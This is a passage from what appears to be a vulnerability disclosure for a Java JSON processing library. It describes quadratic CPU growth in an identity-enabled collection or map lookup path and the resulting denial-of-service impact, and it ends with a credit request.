lookup path. The run is bounded to a 512 MiB JVM. The result demonstrates quadratic growth: approximately `N * (N + 1) / 2` comparisons, plus fixed setup comparisons. ### Impact An unauthenticated source that can submit JSON to an application using the affected identity-enabled collection or map shape can consume quadratic CPU and exhaust a request-time or worker-capacity budget, causing denial of service. The application model/configuration prerequisite is material. No confidentiality, integrity, code-execution, or parser-depth impact is claimed. Requested credit: Daniel Birtwhistle |